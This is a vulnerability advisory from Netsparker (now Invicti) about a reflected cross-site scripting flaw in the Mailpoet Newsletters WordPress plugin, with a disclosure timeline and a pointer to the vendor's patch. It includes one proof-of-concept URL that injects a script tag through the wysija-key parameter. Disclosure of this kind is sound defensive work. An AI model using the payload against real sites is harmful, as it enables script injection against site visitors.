Cross-site Scripting Vulnerability Identified in Mailpoet Newsletters WordPress Plugin

Information

Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in Mailpoet Newsletters WordPress plugin
Affected Software: Mailpoet Newsletters
Affected Versions: v2.6.19 and possibly below
Vendor Homepage: http://www.mailpoet.com/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
CVE-ID: TBA
Status: Fixed
Invicti Advisory Reference: NS-16-002

Technical Details

Proof of Concept URL for XSS in Mailpoet Newsletters v2.6.19:

wordpress-4.4.1/?wysija-page=1&controller=confirm&wysija-key='"--></style></scRipt><scRipt>alert(0x0034B4)</scRipt>&action=unsubscribe&demo=1&wysijap=subscriptions

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

18 Jan 2016 – First Contact
29 Jan 2016 – Vendor Fixed
02 Feb 2016 – Advisory Released

Solution

Patch released by MailPoet and announced here: https://wordpress.org/plugins/wysija-newsletters/changelog/. Download the latest version.

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.